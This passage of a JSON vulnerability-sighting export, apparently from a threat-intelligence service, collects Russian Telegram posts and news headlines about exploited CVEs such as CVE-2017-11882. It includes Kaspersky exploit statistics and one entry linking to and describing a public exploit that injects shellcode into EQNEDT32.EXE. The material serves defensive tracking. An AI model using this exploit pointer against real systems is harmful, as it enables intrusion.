\u0434\u0435\u0444\u0435\u043a\u0442\u044b Linux, \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043d\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u044e\u0442\u0441\u044f: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Dirty Pipe, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Netfilter (CVE-2022-0847, CVE-2019-13272, CVE-2021-22555, CVE-2023-32233);\n- \u0434\u043b\u044f \u041e\u0421 Windows \u0442\u0435\u043c\u043f\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0441\u043d\u0438\u0437\u0438\u043b\u0438\u0441\u044c \u0434\u043e \u0441\u0430\u043c\u043e\u0433\u043e \u043d\u0438\u0437\u043a\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u0432 2025 \u0433\u043e\u0434\u0443, \u043d\u043e \u043e\u043d\u0438 \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u043f\u0440\u0435\u0432\u044b\u0448\u0430\u044e\u0442 \u043d\u0430\u0447\u0430\u043b\u043e 2024-\u0433\u043e, \u0434\u043e\u043c\u0438\u043d\u0438\u0440\u0443\u044e\u0442 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0435 CVE-2017-11882 \u0438 CVE-2018-0802 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Equation Editor \u0438\u0437 Microsoft Office, CVE-2017-0199 \u0432 Microsoft Office \u0438 WordPad.\n\n\u041a\u0430\u043a \u0432 \u0446\u0435\u043b\u0435\u0432\u044b\u0445, \u0442\u0430\u043a \u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445, \u0433\u043e\u0440\u0430\u0437\u0434\u043e \u0430\u043a\u0442\u0438\u0432\u043d\u0435\u0435 \u043f\u043e\u0434 \u0443\u0434\u0430\u0440 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 \u043e\u0448\u0438\u0431\u043a\u0438 \u0432 \u0430\u0440\u0445\u0438\u0432\u0430\u0442\u043e\u0440\u0430\u0445. \u0412 2025 \u0433\u043e\u0434\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 WinRAR (CVE-2023-38831, CVE-2025-6218 \u0438 -8088) \u0438 7-Zip (CVE-2025-11001).\n\n\u041f\u043e \u0447\u0430\u0441\u0442\u0438 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0430\u0442\u0430\u043a:\n- \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0441\u0432\u0435\u0436\u0438\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u044b \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043f\u043e\u043b\u0433\u043e\u0434\u0430;\n- \u0441 \u0433\u0438\u0433\u0430\u043d\u0442\u0441\u043a\u0438\u043c \u043e\u0442\u0440\u044b\u0432\u043e\u043c \u0434\u043e\u043c\u0438\u043d\u0438\u0440\u0443\u0435\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f React4shell, \u0442\u0430\u043a\u0436\u0435 \u0432 \u0442\u0440\u043e\u0439\u043a\u0435 \u043b\u0438\u0434\u0435\u0440\u043e\u0432 \u0442\u0430\u043a\u0436\u0435 CVE-2025-61882 \u0432 Oracle E-Business Suite \u0438 CVE-2025-8088 \u0432 WinRAR;\n- \u043c\u043d\u043e\u0433\u0438\u0435 CVE \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u043e\u0441\u0442\u0430\u043d\u0443\u0442\u0441\u044f \u0432 \u0440\u0435\u0439\u0442\u0438\u043d\u0433\u0435 \u043d\u0430\u0434\u043e\u043b\u0433\u043e, \u0434\u043b\u044f \u0438\u0445 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u044b\u0435 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445 \u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435;\n- \u043f\u043e\u0441\u043b\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u044e\u0442 \u0438\u043c\u043f\u043b\u0430\u043d\u0442\u044b \u043d\u0430 \u0431\u0430\u0437\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 Silver, Mythic, Havoc \u0438 Metasploit.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u043a\u0430, \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0438 \u0438 \u0440\u0430\u0437\u0431\u043e\u0440 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435 \u041b\u041a.", "creation_timestamp": "2026-03-10T15:26:05.000000Z"}, {"uuid": "3f8ef20e-eae2-4422-a41b-3154145da884", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/BleepingComputer/10754", "content": "Political-themed actor using old MS Office flaw to drop multiple RATs\n\nA novel threat actor with unclear motives has been discovered running a crimeware campaign which\u00a0delivers\u00a0multiple Windows and Android RATs (remote access tools) through the exploitation of CVE-2017-11882. [...]\n\nhttps://www.bleepingcomputer.com/news/security/political-themed-actor-using-old-ms-office-flaw-to-drop-multiple-rats/", "creation_timestamp": "2021-10-20T17:58:44.000000Z"}, {"uuid": "e8cd20f2-a17a-4454-a918-eb1a4d0a5140", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "published-proof-of-concept", "source": "Telegram/Rb4wQk4sv77MPMIFv9GC6iH60q7V6h0ylg0pbuMdA-XU9rk", "content": "", "creation_timestamp": "2025-08-26T21:00:04.000000Z"}, {"uuid": "e761c64b-6af1-4f3c-8692-eecd5caea98d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/true_secator/7370", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0433\u043e\u0442\u043e\u0432\u0438\u0442\u044c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0443 \u043f\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u043e\u0442\u0447\u0435\u0442 \u0437\u0430 2 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2025 \u0433\u043e\u0434\u0430.\n\n\u0420\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u0432\u0435\u0441\u044c\u043c\u0430 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u043d\u043e\u0439.\n\n\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0441\u0435\u0445 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430: UEFI, \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u043e\u0432, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0438 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439. \n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043d\u0430\u0448\u0435\u043c\u0443 \u0430\u043d\u0430\u043b\u0438\u0437\u0443, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438, \u043a\u0430\u043a \u0438 \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0435 \u043f\u0435\u0440\u0438\u043e\u0434\u044b,\u00a0\u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430, \u043a\u0430\u043a \u0438 \u043f\u0440\u0435\u0436\u0434\u0435, \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u043c\u0438 \u0430\u0442\u0430\u043a\u0430\u043c\u0438 \u0431\u044b\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b Microsoft Office, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0435 \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u0420\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u0438 \u0437\u0430\u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u044c\u0448\u0435\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043d\u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 Windows \u0434\u043b\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: CVE-2018-0802 (RCE\u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Equation Editor), CVE-2017-11882 (\u0435\u0449\u0435 \u043e\u0434\u043d\u0430 RCE \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b), CVE-2017-0199 (\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Microsoft Office \u0438 WordPad, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439).\n\n\u0414\u0430\u043b\u0435\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 WinRAR \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 NetNTLM \u0432 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Windows: CVE-2023-38831 (\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 WinRAR), CVE-2025-24071 (\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0432\u043e\u0434\u043d\u0438\u043a\u0430 Windows) \u0438 CVE-2024-35250 (\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u00a0ks.sys).\n\n\u0414\u043b\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Linux \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0447\u0430\u0441\u0442\u043e \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: CVE-2022-0847 (\u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u043a\u0430\u043a Dirty Pipe), CVE-2019-13272 (EoP-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0432\u044b\u0437\u0432\u0430\u043d\u043d\u0430\u044f \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439) \u0438 CVE-2021-22555 (\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u0443\u0447\u0438 \u0432 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u044f\u0434\u0440\u0430 Netfilter).\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430 \u043c\u044b \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043f\u043e \u0442\u0438\u043f\u0430\u043c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u043b\u043e \u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u0438 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0432 \u043e\u0442\u0447\u0435\u0442\u0435 \u0442\u0430\u043a\u0436\u0435 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430\u0445 C2 (Sliver, Metasploit, Havoc \u0438 Brute Ratel C4) \u0432 \u043f\u0435\u0440\u0432\u043e\u0439 \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0435 2025 \u0433\u043e\u0434\u0430.\n\n\u041f\u043e\u0441\u043b\u0435 \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 \u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u0430\u0433\u0435\u043d\u0442\u043e\u0432 C2, \u0432 \u041b\u041a \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438 \u0432 APT-\u0430\u0442\u0430\u043a\u0430\u0445 \u0441 \u0443\u0447\u0430\u0441\u0442\u0438\u0435\u043c \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044b\u0445 \u0432\u044b\u0448\u0435 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u043e\u0432 C2 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438:\n\n- CVE-2025-31324 \u0432 SAP NetWeaver Visual Composer Metadata Uploader: \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0438 \u0438\u043c\u0435\u0435\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 10,0.\n\n- CVE-2024-1709 \u0432 ConnectWise ScreenConnect 23.9.7: \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u0436\u0435 \u0438\u043c\u0435\u0435\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 10,0.\n\n- CVE-2024-31839, XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f CHAOS v5.0.1: \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a EoP.\n\n- CVE-2024-30850, RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 CHAOS v5.0.1: \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e.\n\n- CVE-2025-33053: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0432\u044b\u0437\u0432\u0430\u043d\u043d\u0430\u044f \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0434\u043b\u044f LNK-\u0444\u0430\u0439\u043b\u043e\u0432 \u0432 Windows: \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430.\n\n\u0427\u0435\u0442\u043a\u0430\u044f \u0438\u043d\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u043a\u0430, \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u044c\u043d\u044b\u0439 TOP 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\u00a0\u0438 \u0440\u0430\u0437\u0431\u043e\u0440 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0437\u043d\u0430\u0447\u0438\u043c\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430 - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2025-08-27T15:30:05.000000Z"}, {"uuid": "1dcb85ab-770d-4135-b2c0-f577a83d0f0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/ctinow/236411", "content": "CVE-2017-11882 Will Never Die, (Wed, Aug 13th)\nhttps://ift.tt/mjXlIA3", "creation_timestamp": "2025-08-13T08:24:49.000000Z"}, {"uuid": "9f98d077-7b4f-4912-b1c1-a1c420ab6356", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "published-proof-of-concept", "source": "https://t.me/poxek/1230", "content": "CVE-2017-11882 Exploit\nCVE-2017-11882 \u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u0443/\u043a\u043e\u0434 \u0434\u043b\u0438\u043d\u043e\u0439 \u0431\u043e\u043b\u0435\u0435 17 \u0442\u044b\u0441. \u0431\u0430\u0439\u0442 \u0432 \u043c\u0430\u043a\u0441\u0438\u043c\u0443\u043c\u0435.\n\u0412\u043d\u0438\u043c\u0430\u043d\u0438\u0435: RCE \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 winword, \u0435\u0441\u043b\u0438 \u0432\u044b \u043d\u0435 \u043f\u0435\u0440\u0435\u0439\u0434\u0435\u0442\u0435 \u043d\u0430 \u0434\u0440\u0443\u0433\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441!\n\n\u0412 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u044d\u0442\u043e\u0442 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0432\u043d\u0435\u0434\u0440\u044f\u0435\u0442 \u0432\u0430\u0448 \u0448\u0435\u043b\u043b\u043a\u043e\u0434 \u0432 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 EQNEDT32.EXE, \u0435\u0441\u043b\u0438 \u0432\u044b \u0443\u043a\u0430\u0436\u0435\u0442\u0435 \u0444\u043b\u0430\u0433 -i. \u042d\u0442\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u0430 \u0434\u043b\u044f AV, \u043d\u043e \u043e\u043d\u0430 \u043d\u0435 \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u0442 \u043a \u0437\u0430\u0441\u0442\u0440\u0435\u0432\u0430\u043d\u0438\u044e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 word.\nhttps://github.com/unamer/CVE-2017-11882\n\n\u0414\u043d\u0435\u0432\u043d\u0438\u043a \u0411\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0438\u043a\u0430 \ud83d\udee1\ufe0f", "creation_timestamp": "2022-04-07T13:09:34.000000Z"}, {"uuid": "489ce0cb-8679-414f-b29f-5e81ee4d5043", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/poxek/3173", "content": "\ud83d\udde3\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Qualys \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0440\u0435\u0439\u0442\u0438\u043d\u0433 \u0438\u0437 20 \u0441\u0430\u043c\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0434\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a \u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0438\u043b\u0438 